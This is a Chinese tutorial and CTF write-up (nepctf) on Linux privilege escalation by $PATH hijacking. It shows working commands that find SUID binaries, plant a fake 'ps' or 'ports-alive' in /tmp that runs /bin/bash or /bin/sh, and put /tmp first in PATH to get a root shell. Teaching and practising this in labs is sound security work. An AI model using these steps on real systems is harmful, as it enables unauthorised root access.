Linux-环境变量提权
<1> 环境变量介绍
$PATH是Linux和类Unix操作系统中的环境变量,它指定了存储所有可执行程序的 bin 和 sbin 目录。当用户在终端运行任何命令时,它向shell发出请求,在环境变量的帮助下搜索可执行文件以响应用户执行的命令。超级用户root 通常还具有/sbin和/usr /sbin条目,以便轻松执行系统管理命令。
使用echo命令就能查看和当前用户相关的环境变量
echo $PATH
/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games:/usr/local/games:/snap/bin
<2> 环境变量提权原理
其原理就是利用suid的权限调用所属主用户即root用户执行c里的代码
$PATH主要用于定义可执行程序的搜索目录。可执行程序包括 Linux系统命令和用户的应用程序
例如:当某个程序 调用 system("cat /flag") 时 它并不是以 system("/bin/cat /flag");这样来调用cat的 可以被利用
系统会按照$PATH环境变量中定义的顺序,从左到右搜索cat 如果$PATH = /tmp:/usr/local/bin:/usr/local/sbin 则会优先搜索 /tmp目录是否存在cat
$PATH环境变量劫持的原理:即自己构造一个同名的恶意程序,将要恶意程序所在的路径添加到PATH环境变量的前面,使其被优先加载。 而如果我们劫持的这个程序,是一个本身就具有SUID权限,以root身份执行的程序,那么 劫持成功的话,就是root执行我们的恶意程序,写入 /bin/bash即可提权
<3> ubuntu环境配置
现在我们的当前目录是/home/lvxyz,我们将在当前目录下创建一个srcipt目录。然后cd到script目录中,编写一个简单的c程序来调用系统二进制文件的函数
代码 通过 setuid() 和 setgid() 更改uid、gid为0 即 root
然后调用system()函数 执行 ps命令 即系统二进制文件/bin/ps
root@lvxyz-ubuntu:~/script$ whereis ps
ps: /bin/ps /usr/share/man/man1/ps.1.gz
我们使用gcc命令编译demo.c文件并且赋予编译文件SUID权限
gcc demo.c -o demo
chmod u+s demo
ls -la demo
<4> Attack利用
假设我们的ubuntu 是我们已经入侵成功的主机,ssh成功登录lvxyz普通用户了,现在要进行提权
我们利用find命令查找一下具有suid权限的文件
find / -perm -u=s -type f 2>/dev/null
发现了 /home/lvxyz/script/demo
我们运行一下这个文件,发现它会执行 ps命令
(1) echo命令
因此 我们就往/tmp写入 一个同名文件,内容为 /bin/bash
cd /tmp
echo "/bin/bash" > ps
chmod 777 ps
echo $PATH
export PATH=/tmp:$PATH
cd /home/lvxyz/script
./demo
发现成功提权为root
(2) cp命令
也可以通过 cp /bin/bash /tmp/ps,使得/tmp/ps文件等价于/bin/bash 与上面同理
成功提权root
(3) symlink命令
利用条件:suid权限的文件目录拥有所有权限
利用 symlink 符号链接命令
控制环境变量,最开头加上 . 从而控制环境变量 执行ps时优先找到 ./ps 即 /bin/bash 提权
其他命令同理,比如 c文件里写的 system("cat /etc/passwd")
我们只需重写一个 内容为/bin/sh的 cat,然后控制环境变量使得 某个suid权限的文件里在执行 cat命令时,优先找到我们重写的cat即可提权
关键在于:
- 找到具有SUID权限的文件,知道文件里调用了什么系统二进制文件
- 环境变量中有自己能控制的路径
<5> CTF应用 - nepctf 独步天下
nc ip port进入环境
ls / 发现了flag 直接读取不行 没有权限
题目提示:环境变量提权
查找具有suid权限的文件:find / -perm -u=s -type f
找到了 /bin/nmap 且其拥有者为root
-rwsr-xr-x 1 root root 931712 Jul 17 09:46 nmap
执行一下 发现 nmap里调用了 ports-alive
/bin $ nmap 1
nmap 1
sh: ports-alive: not found
环境变量提权,在/tmp下创建一个名为 ports-alive 内容为 /bin/sh 脚本。export /tmp到$PATH里最左边。运行/bin/nmap 时劫持 ports-alive命令,从而以root身份执行/bin/sh 提权
cd /tmp
echo "/bin/sh" > ports-alive
chmod +x ports-alive
export PATH=/tmp:$PATH
/bin/nmap 1